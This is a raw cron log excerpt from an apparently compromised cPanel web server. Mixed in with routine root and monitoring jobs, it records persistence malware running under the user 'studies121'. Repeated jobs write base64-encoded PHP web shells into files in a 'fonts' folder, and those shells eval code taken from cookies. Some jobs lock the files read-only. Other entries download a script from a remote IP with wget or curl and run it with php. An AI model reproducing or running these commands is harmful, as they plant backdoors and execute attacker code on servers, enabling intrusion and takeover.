Sep  9 21:06:01 ip-184-168-122-23 CROND[13923]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 21:07:01 ip-184-168-122-23 CROND[14008]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 21:07:01 ip-184-168-122-23 CROND[14010]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 21:07:01 ip-184-168-122-23 CROND[14011]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 21:07:01 ip-184-168-122-23 CROND[14012]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 21:08:01 ip-184-168-122-23 CROND[14178]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 21:08:01 ip-184-168-122-23 CROND[14181]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 21:08:01 ip-184-168-122-23 CROND[14179]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 21:08:01 ip-184-168-122-23 CROND[14182]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 21:08:01 ip-184-168-122-23 CROND[14180]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 21:09:01 ip-184-168-122-23 CROND[14263]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 21:09:01 ip-184-168-122-23 CROND[14265]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 21:09:01 ip-184-168-122-23 CROND[14264]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 21:09:01 ip-184-168-122-23 CROND[14267]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  9 21:09:01 ip-184-168-122-23 CROND[14266]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 21:10:01 ip-184-168-122-23 CROND[14364]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 21:10:01 ip-184-168-122-23 CROND[14365]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 21:10:01 ip-184-168-122-23 CROND[14370]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 21:10:01 ip-184-168-122-23 CROND[14367]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 21:10:01 ip-184-168-122-23 CROND[14368]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 21:10:01 ip-184-168-122-23 CROND[14363]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 21:10:01 ip-184-168-122-23 CROND[14366]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 21:10:01 ip-184-168-122-23 CROND[14369]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 21:11:01 ip-184-168-122-23 CROND[14467]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 21:11:01 ip-184-168-122-23 CROND[14469]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 21:11:01 ip-184-168-122-23 CROND[14472]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 21:11:01 ip-184-168-122-23 CROND[14473]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 21:12:01 ip-184-168-122-23 CROND[14548]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 21:12:01 ip-184-168-122-23 CROND[14550]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 21:12:01 ip-184-168-122-23 CROND[14553]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 21:12:01 ip-184-168-122-23 CROND[14551]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 21:12:01 ip-184-168-122-23 CROND[14552]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 21:13:01 ip-184-168-122-23 CROND[14714]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 21:13:01 ip-184-168-122-23 CROND[14715]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 21:13:01 ip-184-168-122-23 CROND[14718]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 21:13:01 ip-184-168-122-23 CROND[14719]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 21:14:01 ip-184-168-122-23 CROND[14790]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 21:14:02 ip-184-168-122-23 CROND[14794]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 21:14:02 ip-184-168-122-23 CROND[14792]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 21:14:02 ip-184-168-122-23 CROND[14793]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 21:14:02 ip-184-168-122-23 CROND[14795]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 21:15:02 ip-184-168-122-23 CROND[14886]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 21:15:02 ip-184-168-122-23 CROND[14884]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 21:15:02 ip-184-168-122-23 CROND[14885]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 21:15:02 ip-184-168-122-23 CROND[14890]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 21:15:02 ip-184-168-122-23 CROND[14889]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 21:15:02 ip-184-168-122-23 CROND[14891]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 21:16:02 ip-184-168-122-23 CROND[14982]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 21:16:02 ip-184-168-122-23 CROND[14981]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 21:16:02 ip-184-168-122-23 CROND[14979]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 21:16:02 ip-184-168-122-23 CROND[14984]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 21:16:02 ip-184-168-122-23 CROND[14980]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 21:16:02 ip-184-168-122-23 CROND[14983]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 21:17:01 ip-184-168-122-23 CROND[15086]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 21:17:01 ip-184-168-122-23 CROND[15088]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 21:17:01 ip-184-168-122-23 CROND[15089]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 21:17:01 ip-184-168-122-23 CROND[15090]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 21:18:01 ip-184-168-122-23 CROND[15242]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 21:18:01 ip-184-168-122-23 CROND[15245]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 21:18:01 ip-184-168-122-23 CROND[15244]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 21:18:01 ip-184-168-122-23 CROND[15249]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 21:18:01 ip-184-168-122-23 CROND[15248]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
